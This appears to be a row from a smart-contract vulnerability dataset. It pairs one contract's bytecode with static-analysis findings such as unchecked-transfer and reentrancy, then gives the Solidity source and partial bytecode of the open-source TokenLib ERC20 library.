6020018281038252602f815260200180611b8d602f913960400191505060405180910390fd5b6008879055816109585760405162461bcd60e51b815260040180806020018281038252602b815260200180611af9602b913960400191505060405180910390fd5b600a8290556009869055600c8690556000600e819055600d81905560125461098790600163ffffffff6115cc16565b6012805460018181019092557fbb8a6a4669ba250d26cd7a459eca9d215f8307e33aebe50379bc5a3617ec3444018290556000828152601160209081526040918290208481559283018a9055600283018990556003830188905560048301889055600583018b9055600c5460079093019290925580518c81529182018b9052818101899052606082018890526080820186905260a082018790525191925033916001600160a01b038d811692908f16917fc05b17480a53036501121b30a5703684f8cfab0480c3f338c7b015281dacab889181900360c00190a45060019a9950505050505050505050565b600080546001600160a01b03163314610ac0576040805162461bcd60e51b81526020600482015260166024820152600080516020611b6d833981519152604482015290519081900360640190fd5b600454821015610b015760405162461bcd60e51b8152600401808060200182810382526024815260200180611c306024913960400191505060405180910390fd5b60058290556000546040805184815290516001600160a01b03909216917fb85525dd9585ec1c7dde616f3e743e00605e56e72fc9f8bf83a4ef5209b0d3a89181900360200190a2506001919050565b60085490565b600080600b54118015610b6b57506000600c54115b8015610b7957506000600954115b610bb45760405162461bcd60e51b8152600401808060200182810382526027815260200180611bbc6027913960400191505060405180910390fd5b610bed610bde6064610bd2603260095461162f90919063ffffffff16565b9063ffffffff61168816565b6009549063ffffffff6116ca16565b600c541115610bff5750600b546103a8565b610c1d610bde6064610bd2605060095461162f90919063ffffffff16565b600c541115610c5457600a54610c4d90610c3e90600163ffffffff61162f16565b600b549063ffffffff6115cc16565b90506103a8565b610c72610bde6064610bd2606460095461162f90919063ffffffff16565b600c541115610c9357600a54610c4d90610c3e90600263ffffffff61162f16565b600a54610c4d90610c3e90600263ffffffff61162f16565b6001546000906001600160a01b03163314610d0d576040805162461bcd60e51b815260206004820181905260248201527f4269746d696e644d73673a204f6e6c7920467265657a65722041646472657373604482015290519081900360640190fd5b600180546001600160a01b0384166001600160a01b0319909116811790915560408051428152905133917fe3f1a9bb3e00a1236f56aad86d186833ef4271d476b435c9530e1dfadb434f7b919081900360200190a3506001919050565b600080546001600160a01b03163314610db8576040805162461bcd60e51b81526020600482015260166024820152600080516020611b6d833981519152604482015290519081900360640190fd5b6000600c5411610df95760405162461bcd60e51b815260040180806020018281038252602a815260200180611c54602a913960400191505060405180910390fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610e4457600080fd5b505afa158015610e58573d6000803e3d6000fd5b505050506040513d6020811015610e6e57600080fd5b5051600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610ecc57600080fd5b505af1158015610ee0573d6000803e3d6000fd5b505050506040513d6020811015610ef657600080fd5b505060408051828152905133917fe307e7c03a8ec82304a8df89f39dcf08b81a2faae43c3f0005abc309ee6c01b9919081900360200190a2600191505090565b600080546001600160a01b03163314610f84576040805162461bcd60e51b81526020600482015260166024820152600080516020611b6d833981519152604482015290519081900360640190fd5b42821015610fc35760405162461bcd60e51b8152600401808060200182810382526031815260200180611c7e6031913960400191505060405180910390fd5b60048290556000546040805184815290516001600160a01b03909216917fde1f179316957f3c3276d339e043ce85fbb35b532e0943d2a9031c3bcd0fe8bc9181900360200190a2506001919050565b60045490565b60008060045411801561102d57506000600554115b6110685760405162461bcd60e51b8152600401808060200182810382526028815260200180611b246028913960400191505060405180910390fd5b6004544211801561107a575060055442105b6110b55760405162461bcd60e51b8152600401808060200182810382526028815260200180611b246028913960400191505060405180910390fd5b60065460ff16156110f75760405162461bcd60e51b8152600401808060200182810382526021815260200180611be36021913960400191505060405180910390fd5b6000600b54116111385760405162461bcd60e51b8152600401808060200182810382526028815260200180611a7f6028913960400191505060405180910390fd5b600060075411801561114c57506000600854115b156111b657600754821015801561116557506008548211155b6111b6576040805162461bcd60e51b815260206004820152601a60248201527f4269746d696e644d73673a20416d6f756e7420696e76616c6964000000000000604482015290519081900360640190fd5b60006111c18361170c565b905060008111611218576040805162461bcd60e51b815260206004820152601e60248201527f4269746d696e644d73673a2043616c63756c6174696e67204572726f72210000604482015290519081900360640190fd5b6000600c5411801561122c575080600c5410155b61127d576040805162461bcd60e51b815260206004820152601c60248201527f4269746d696e644d73673a20494e53554646494349454e5420424d4400000000604482015290519081900360640190fd5b6003546001600160a01b03166323b872dd33306112a58764e8d4a5100063ffffffff61168816565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050602060405180830381600087803b15801561130d57600080fd5b505af1158015611321573d6000803e3d6000fd5b505050506040513d602081101561133757600080fd5b5050600d5461134c908463ffffffff6115cc16565b600d81905560125460009081526011602052604090206006015561136e610b56565b601254600090815260116020908152604080832060040193909355338252600f905220546113d957601080546001810182556000919091527f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6720180546001600160a01b031916331790555b336000908152600f60205260409020546113f9908463ffffffff6115cc16565b336000908152600f6020526040902055600c5461141c908263ffffffff6116ca16565b600c55600e54611432908263ffffffff6115cc16565b600e908155600c546012805460009081526011602090815260408083206007019490945593549154815282812060080191909155600254825163a9059cbb60e01b81523360048201526024810186905292516001600160a01b039091169363a9059cbb93604480820194929392918390030190829087803b1580156114b657600080fd5b505af11580156114ca573d6000803e3d6000fd5b505050506040513d60208110156114e057600080fd5b505060408051828152905133917f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc271919081900360200190a250600192915050565b600080546001600160a01b0316331461156f576040805162461bcd60e51b81526020600482015260166024820152600080516020611b6d833981519152604482015290519081900360640190fd5b600080546001600160a01b0384166001600160a01b0319909116811790915560408051428152905133917fc13a1166d81cd3b0b352a367aebab95f3a6f6bc695fdab8e9a9d335239c3861b919081900360200190a3506001919050565b600082820183811015611626576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b60008261163e57506000611629565b8282028284828161164b57fe5b04146116265760405162461bcd60e51b8152600401808060200182810382526021815260200180611b4c6021913960400191505060405180910390fd5b600061162683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611982565b600061162683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a24565b600080600080600061172f6064610bd2603260095461162f90919063ffffffff16565b9050600061174e6064610bd2605060095461162f90919063ffffffff16565b9050600061176d6064610bd2606460095461162f90919063ffffffff16565b90506000611795611788670de0b6b3a7640000610bd2610b56565b8a9063ffffffff61168816565b6009549091506117ab908563ffffffff6116ca16565b600c541115611886576009546117c7908563ffffffff6116ca16565b600c546117da908363ffffffff6116ca16565b101561187d57600954611806906117f7908663ffffffff6116ca16565b600c549063ffffffff6116ca16565b9550611864611830670de0b6b3a7640000610bd2610c3e6001600a5461162f90919063ffffffff16565b610bd261185761184a670de0b6b3a7640000610bd2610b56565b8a9063ffffffff61162f16565b8c9063ffffffff6116ca16565b9450611876868663ffffffff6115cc16565b9650611881565b8096505b611975565b600954611899908463ffffffff6116ca16565b600c54111561190f576009546118b5908463ffffffff6116ca16565b600c546118c8908363ffffffff6116ca16565b101561187d576009546118e5906117f7908563ffffffff6116ca16565b9550611864611830670de0b6b3a7640000610bd2610c3e6002600a5461162f90919063ffffffff16565b600954611922908363ffffffff6116ca16565b600c5411156119755760095461193e908363ffffffff6116ca16565b600c54611951908363ffffffff6116ca16565b101561197157600c5461196a908363ffffffff6116ca16565b9650611975565b8096505b5094979650505050505050565b60008183611a0e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119d35781810151838201526020016119bb565b50505050905090810190601f168015611a005780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a1a57fe5b0495945050505050565b60008184841115611a765760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156119d35781810151838201526020016119bb565b50505090039056fe4269746d696e644d73673a20496e697469616c205072697a65206973206e6f7420736574207965744269746d696e644d73673a205061697220546f6b656e20494e53554646494349454e544269746d696e644d73673a206d696e5f636f6e747269627574696f6e206d75737420686967686572207468616e20304269746d696e644d73673a20696e697469616c5f72617465206d75737420686967686572207468616e20304269746d696e644d73673a2043726f776473616c65206973206e6f74207374617274656420796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774269746d696e644d73673a204f6e6c79204f776e6572000000000000000000004269746d696e644d73673a206d61785f636f6e747269627574696f6e206d75737420686967686572207468616e20304269746d696e644d73673a20496e697469616c697a696e6720636f6e74726163742066697273744269746d696e644d73673a2043726f776473616c6520697320667265657a696e674269746d696e644d73673a20696e697469616c207072696365206d75737420686967686572207468616e20304269746d696e644d73673a20436c6f73696e672054696d6520616c7265616479207365744269746d696e644d73673a20446973747269627574656420546f6b656e20494e53554646494349454e544269746d696e644d73673a204f70656e696e672054696d65206d757374206265666f72652063757272656e742074696d654269746d696e644d73673a2073746172745f74696d65206d75737420686967686572207468616e20304269746d696e644d73673a20656e645f74696d65206d75737420686967686572207468616e2030a26469706673582212209e18917e52ef01010d67616923bf2d5d64f1aefeb0f614bc0cf368e9d4e9bb0564736f6c63430006000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,119 |
0xa699dd7d57917a57fa9d0e323ab4b542a0ff873a
|
pragma solidity 0.4.21;
/**
* @title TokenLib
* @author Modular Inc, https://modular.network
*
* version 1.3.0
* Copyright (c) 2017 Modular, Inc
* The MIT License (MIT)
* https://github.com/Modular-Network/ethereum-libraries/blob/master/LICENSE
*
* The Token Library provides functionality to create a variety of ERC20 tokens.
* See https://github.com/Modular-Network/ethereum-contracts for an example of how to
* create a basic ERC20 token.
*
* Modular works on open source projects in the Ethereum community with the
* purpose of testing, documenting, and deploying reusable code onto the
* blockchain to improve security and usability of smart contracts. Modular
* also strives to educate non-profits, schools, and other community members
* about the application of blockchain technology.
* For further information: modular.network
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
library TokenLib {
using BasicMathLib for uint256;
struct TokenStorage {
bool initialized;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string name;
string symbol;
uint256 totalSupply;
uint256 initialSupply;
address owner;
uint8 decimals;
bool stillMinting;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnerChange(address from, address to);
event Burn(address indexed burner, uint256 value);
event MintingClosed(bool mintingClosed);
/// @dev Called by the Standard Token upon creation.
/// @param self Stored token from token contract
/// @param _name Name of the new token
/// @param _symbol Symbol of the new token
/// @param _decimals Decimal places for the token represented
/// @param _initial_supply The initial token supply
/// @param _allowMinting True if additional tokens can be created, false otherwise
function init(TokenStorage storage self,
address _owner,
string _name,
string _symbol,
uint8 _decimals,
uint256 _initial_supply,
bool _allowMinting)
public
{
require(!self.initialized);
self.initialized = true;
self.name = _name;
self.symbol = _symbol;
self.totalSupply = _initial_supply;
self.initialSupply = _initial_supply;
self.decimals = _decimals;
self.owner = _owner;
self.stillMinting = _allowMinting;
self.balances[_owner] = _initial_supply;
}
/// @dev Transfer tokens from caller's account to another account.
/// @param self Stored token from token contract
/// @param _to Address to send tokens
/// @param _value Number of tokens to send
/// @return True if completed
function transfer(TokenStorage storage self, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
bool err;
uint256 balance;
(err,balance) = self.balances[msg.sender].minus(_value);
require(!err);
self.balances[msg.sender] = balance;
//It's not possible to overflow token supply
self.balances[_to] = self.balances[_to] + _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
/// @dev Authorized caller transfers tokens from one account to another
/// @param self Stored token from token contract
/// @param _from Address to send tokens from
/// @param _to Address to send tokens to
/// @param _value Number of tokens to send
/// @return True if completed
function transferFrom(TokenStorage storage self,
address _from,
address _to,
uint256 _value)
public
returns (bool)
{
uint256 _allowance = self.allowed[_from][msg.sender];
bool err;
uint256 balanceOwner;
uint256 balanceSpender;
(err,balanceOwner) = self.balances[_from].minus(_value);
require(!err);
(err,balanceSpender) = _allowance.minus(_value);
require(!err);
self.balances[_from] = balanceOwner;
self.allowed[_from][msg.sender] = balanceSpender;
self.balances[_to] = self.balances[_to] + _value;
emit Transfer(_from, _to, _value);
return true;
}
/// @dev Retrieve token balance for an account
/// @param self Stored token from token contract
/// @param _owner Address to retrieve balance of
/// @return balance The number of tokens in the subject account
function balanceOf(TokenStorage storage self, address _owner) public view returns (uint256 balance) {
return self.balances[_owner];
}
/// @dev Authorize an account to send tokens on caller's behalf
/// @param self Stored token from token contract
/// @param _spender Address to authorize
/// @param _value Number of tokens authorized account may send
/// @return True if completed
function approve(TokenStorage storage self, address _spender, uint256 _value) public returns (bool) {
// must set to zero before changing approval amount in accordance with spec
require((_value == 0) || (self.allowed[msg.sender][_spender] == 0));
self.allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Remaining tokens third party spender has to send
/// @param self Stored token from token contract
/// @param _owner Address of token holder
/// @param _spender Address of authorized spender
/// @return remaining Number of tokens spender has left in owner's account
function allowance(TokenStorage storage self, address _owner, address _spender)
public
view
returns (uint256 remaining) {
return self.allowed[_owner][_spender];
}
/// @dev Authorize third party transfer by increasing/decreasing allowed rather than setting it
/// @param self Stored token from token contract
/// @param _spender Address to authorize
/// @param _valueChange Increase or decrease in number of tokens authorized account may send
/// @param _increase True if increasing allowance, false if decreasing allowance
/// @return True if completed
function approveChange (TokenStorage storage self, address _spender, uint256 _valueChange, bool _increase)
public returns (bool)
{
uint256 _newAllowed;
bool err;
if(_increase) {
(err, _newAllowed) = self.allowed[msg.sender][_spender].plus(_valueChange);
require(!err);
self.allowed[msg.sender][_spender] = _newAllowed;
} else {
if (_valueChange > self.allowed[msg.sender][_spender]) {
self.allowed[msg.sender][_spender] = 0;
} else {
_newAllowed = self.allowed[msg.sender][_spender] - _valueChange;
self.allowed[msg.sender][_spender] = _newAllowed;
}
}
emit Approval(msg.sender, _spender, _newAllowed);
return true;
}
/// @dev Change owning address of the token contract, specifically for minting
/// @param self Stored token from token contract
/// @param _newOwner Address for the new owner
/// @return True if completed
function changeOwner(TokenStorage storage self, address _newOwner) public returns (bool) {
require((self.owner == msg.sender) && (_newOwner > 0));
self.owner = _newOwner;
emit OwnerChange(msg.sender, _newOwner);
return true;
}
/// @dev Mints additional tokens, new tokens go to owner
/// @param self Stored token from token contract
/// @param _amount Number of tokens to mint
/// @return True if completed
function mintToken(TokenStorage storage self, uint256 _amount) public returns (bool) {
require((self.owner == msg.sender) && self.stillMinting);
uint256 _newAmount;
bool err;
(err, _newAmount) = self.totalSupply.plus(_amount);
require(!err);
self.totalSupply = _newAmount;
self.balances[self.owner] = self.balances[self.owner] + _amount;
emit Transfer(0x0, self.owner, _amount);
return true;
}
/// @dev Permanent stops minting
/// @param self Stored token from token contract
/// @return True if completed
function closeMint(TokenStorage storage self) public returns (bool) {
require(self.owner == msg.sender);
self.stillMinting = false;
emit MintingClosed(true);
return true;
}
/// @dev Permanently burn tokens
/// @param self Stored token from token contract
/// @param _amount Amount of tokens to burn
/// @return True if completed
function burnToken(TokenStorage storage self, uint256 _amount) public returns (bool) {
uint256 _newBalance;
bool err;
(err, _newBalance) = self.balances[msg.sender].minus(_amount);
require(!err);
self.balances[msg.sender] = _newBalance;
self.totalSupply = self.totalSupply - _amount;
emit Burn(msg.sender, _amount);
emit Transfer(msg.sender, 0x0, _amount);
return true;
}
}
library BasicMathLib {
/// @dev Multiplies two numbers and checks for overflow before returning.
/// Does not throw.
/// @param a First number
/// @param b Second number
/// @return err False normally, or true if there is overflow
/// @return res The product of a and b, or 0 if there is overflow
function times(uint256 a, uint256 b) public pure returns (bool err,uint256 res) {
assembly{
res := mul(a,b)
switch or(iszero(b), eq(div(res,b), a))
case 0 {
err := 1
res := 0
}
}
}
/// @dev Divides two numbers but checks for 0 in the divisor first.
/// Does not throw.
/// @param a First number
/// @param b Second number
/// @return err False normally, or true if `b` is 0
/// @return res The quotient of a and b, or 0 if `b` is 0
function dividedBy(uint256 a, uint256 b) public pure returns (bool err,uint256 i) {
uint256 res;
assembly{
switch iszero(b)
case 0 {
res := div(a,b)
let loc := mload(0x40)
mstore(add(loc,0x20),res)
i := mload(add(loc,0x20))
}
default {
err := 1
i := 0
}
}
}
/// @dev Adds two numbers and checks for overflow before returning.
/// Does not throw.
/// @param a First number
/// @param b Second number
/// @return err False normally, or true if there is overflow
/// @return res The sum of a and b, or 0 if there is overflow
function plus(uint256 a, uint256 b) public pure returns (bool err, uint256 res) {
assembly{
res := add(a,b)
switch and(eq(sub(res,b), a), or(gt(res,b),eq(res,b)))
case 0 {
err := 1
res := 0
}
}
}
/// @dev Subtracts two numbers and checks for underflow before returning.
/// Does not throw but rather logs an Err event if there is underflow.
/// @param a First number
/// @param b Second number
/// @return err False normally, or true if there is underflow
/// @return res The difference between a and b, or 0 if there is underflow
function minus(uint256 a, uint256 b) public pure returns (bool err,uint256 res) {
assembly{
res := sub(a,b)
switch eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1)
case 0 {
err := 1
res := 0
}
}
}
}
|
0x73a699dd7d57917a57fa9d0e323ab4b542a0ff873a30146060604052600436106100c6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806321a6a23d146100cb5780633af00d0f1461014d5780636269321c146101985780636f71ca3c146101dc5780638ca979ca146102365780639329297214610299578063a7ccd77614610381578063ac9b44f7146103bc578063bd03185c14610426578063d4b1770a14610494578063f8f095f2146104f7575b600080fd5b81156100d657600080fd5b610133600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061053b565b604051808215151515815260200191505060405180910390f35b610182600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610916565b6040518082815260200191505060405180910390f35b81156101a357600080fd5b6101c26004808035906020019091908035906020019091905050610962565b604051808215151515815260200191505060405180910390f35b81156101e757600080fd5b61021c600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b4c565b604051808215151515815260200191505060405180910390f35b811561024157600080fd5b61027f600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cb2565b604051808215151515815260200191505060405180910390f35b81156102a457600080fd5b61037f600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803560ff169060200190919080359060200190919080351515906020019091905050610e3e565b005b811561038c57600080fd5b6103a26004808035906020019091905050610f88565b604051808215151515815260200191505060405180910390f35b610410600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061104a565b6040518082815260200191505060405180910390f35b811561043157600080fd5b61047a600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803515159060200190919050506110d4565b604051808215151515815260200191505060405180910390f35b811561049f57600080fd5b6104dd600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611514565b604051808215151515815260200191505060405180910390f35b811561050257600080fd5b610521600480803590602001909190803590602001909190505061177b565b604051808215151515815260200191505060405180910390f35b60008060008060008860020160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493508860010160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473d08660d7298cdc78169d6f8c99c3141a9d59a3d363f4f3bdc19091886040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050604080518083038186803b151561067857600080fd5b5af4151561068557600080fd5b505050604051805190602001805190508093508194505050821515156106aa57600080fd5b8373d08660d7298cdc78169d6f8c99c3141a9d59a3d363f4f3bdc19091886040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050604080518083038186803b151561071d57600080fd5b5af4151561072a57600080fd5b5050506040518051906020018051905080925081945050508215151561074f57600080fd5b818960010160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808960020160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550858960010160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054018960010160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a36001945050505050949350505050565b60008260010160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060008460010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473d08660d7298cdc78169d6f8c99c3141a9d59a3d363f4f3bdc19091866040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050604080518083038186803b1515610a1b57600080fd5b5af41515610a2857600080fd5b50505060405180519060200180519050809350819250505080151515610a4d57600080fd5b818560010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508385600501540385600501819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5856040518082815260200191505060405180910390a260003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b60003373ffffffffffffffffffffffffffffffffffffffff168360070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610bc3575060008273ffffffffffffffffffffffffffffffffffffffff16115b1515610bce57600080fd5b818360070160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f95b86f3e58bda963f355a8ee21a04376776a456ed6416bf5144202906bdc63973383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16001905092915050565b600080821480610d40575060008460020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610d4b57600080fd5b818460020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190509392505050565b8660000160009054906101000a900460ff16151515610e5c57600080fd5b60018760000160006101000a81548160ff02191690831515021790555084876003019080519060200190610e919291906119fb565b5083876004019080519060200190610eaa9291906119fb565b50818760050181905550818760060181905550828760070160146101000a81548160ff021916908360ff160217905550858760070160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808760070160156101000a81548160ff021916908315150217905550818760010160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050565b60003373ffffffffffffffffffffffffffffffffffffffff168260070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610fe857600080fd5b60008260070160156101000a81548160ff0219169083151502179055507f2a2e00be29e58e1d04ffa369d0550e1d87e844e63bfba0820362ed62738985c76001604051808215151515815260200191505060405180910390a160019050919050565b60008360020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509392505050565b6000806000831561128a578660020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473d08660d7298cdc78169d6f8c99c3141a9d59a3d36366098d4f9091876040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050604080518083038186803b15156111d057600080fd5b5af415156111dd57600080fd5b5050506040518051906020018051905080935081925050508015151561120257600080fd5b818760020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a1565b8660020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548511156113995760008760020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a0565b848760020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039150818760020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600192505050949350505050565b60008060008073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561155457600080fd5b8560010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473d08660d7298cdc78169d6f8c99c3141a9d59a3d363f4f3bdc19091866040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050604080518083038186803b151561160857600080fd5b5af4151561161557600080fd5b5050506040518051906020018051905080925081935050508115151561163a57600080fd5b808660010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838660010160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054018660010160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff168560070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117ed57508460070160159054906101000a900460ff165b15156117f857600080fd5b846005015473d08660d7298cdc78169d6f8c99c3141a9d59a3d36366098d4f9091866040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050604080518083038186803b151561186f57600080fd5b5af4151561187c57600080fd5b505050604051805190602001805190508093508192505050801515156118a157600080fd5b818560050181905550838560010160008760070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054018560010160008760070160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001